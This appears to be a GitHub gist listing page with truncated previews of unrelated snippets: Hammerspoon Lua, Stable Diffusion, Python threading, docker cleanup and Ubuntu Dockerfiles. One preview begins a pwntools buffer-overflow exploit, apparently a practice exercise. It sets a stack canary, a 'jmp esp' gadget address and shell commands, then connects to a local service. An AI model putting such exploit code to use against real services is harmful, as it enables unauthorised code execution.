This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Grab the ID for the last desktop, which is assumed to be the most recently create one | |
function getLargestDesktopKey() | |
rawSpaceNames = hs.spaces.missionControlSpaceNames() | |
for key, value in pairs(rawSpaceNames) do | |
uuid = key | |
end | |
spaceNames = rawSpaceNames[uuid] | |
for _, nested_table in pairs(rawSpaceNames) do | |
for __, value in pairs(nested_table) do | |
local desktopNum = string.match(value, "Desktop (%d+)") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from diffusers import StableDiffusionPipeline | |
pipe = StableDiffusionPipeline.from_pretrained( | |
"CompVis/stable-diffusion-v1-4", | |
use_auth_token=True | |
).to("mps") | |
prompt = "a photo of an astronaut riding a horse on mars" | |
image = pipe(prompt)["sample"][0] | |
image.save("astronaut_rides_horse.png") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
import time | |
class Continuous(threading.Thread): | |
def __init__(self): | |
super(Continuous, self).__init__() | |
self.die = False | |
self.info = 0 | |
def run(self): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
canary = p32(0xe4ffffe4) | |
jmpesp = p32(0x0804936b) | |
command = 'whoami; ls; pwd;' | |
r = remote('localhost', 4242) | |
r.recv() | |
r.sendline('X') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
df -h / | |
docker rm $(docker ps -a -q) | |
# add -a to 'docker images' for nested but those usually fail. | |
docker rmi $(docker images | grep "^<none>" | awk '{print $3}' ) | |
df -h / |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM scratch | |
# Download from https://partner-images.canonical.com/core/vivid/current/ubuntu-vivid-core-cloudimg-i386-root.tar.gz | |
ADD ubuntu-vivid-core-cloudimg-i386-root.tar.gz / | |
# a few minor docker-specific tweaks | |
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap | |
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \ | |
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \ | |
&& chmod +x /usr/sbin/policy-rc.d \ | |
\ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM scratch | |
# Download from https://partner-images.canonical.com/core/precise/current/ubuntu-precise-core-cloudimg-i386-root.tar.gz | |
ADD ubuntu-precise-core-cloudimg-i386-root.tar.gz / | |
# a few minor docker-specific tweaks | |
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap | |
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \ | |
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \ | |
&& chmod +x /usr/sbin/policy-rc.d \ | |
\ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM scratch | |
# Download from https://partner-images.canonical.com/core/trusty/current/ubuntu-trusty-core-cloudimg-i386-root.tar.gz | |
ADD ubuntu-trusty-core-cloudimg-i386-root.tar.gz / | |
# a few minor docker-specific tweaks | |
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap | |
RUN echo '#!/bin/sh' > /usr/sbin/policy-rc.d \ | |
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \ | |
&& chmod +x /usr/sbin/policy-rc.d \ | |
\ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This Dockerfile originally from https://github.com/tianon/docker-brew-ubuntu-core/blob/d7f2045ad9b08962d9728f6d9910fa252282b85f/wily/Dockerfile | |
FROM scratch | |
ADD ubuntu-wily-core-cloudimg-i386-root.tar.gz / | |
# Download from https://partner-images.canonical.com/core/wily/current/ubuntu-wily-core-cloudimg-i386-root.tar.gz / | |
# a few minor docker-specific tweaks | |
# see https://github.com/docker/docker/blob/master/contrib/mkimage/debootstrap | |
RUN echo '#!/bin/bash' > /usr/sbin/policy-rc.d \ | |
&& echo 'exit 101' >> /usr/sbin/policy-rc.d \ | |
&& chmod +x /usr/sbin/policy-rc.d \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu:15.04 | |
MAINTAINER [email protected] | |
# Hello, | |
# My goal for this was to build overlayfs for 3.10.82 so that overlayroot can | |
# be used for an Odroid with Ubuntu to have a read-only root. Unfortunately I | |
# ran out of time. This Dockerfile creates an overlayfs.ko that fails to load | |
# because the kernel also needs to be updated. | |
# | |
# You'll need to actually read this Dockerfile before being able to run it |
NewerOlder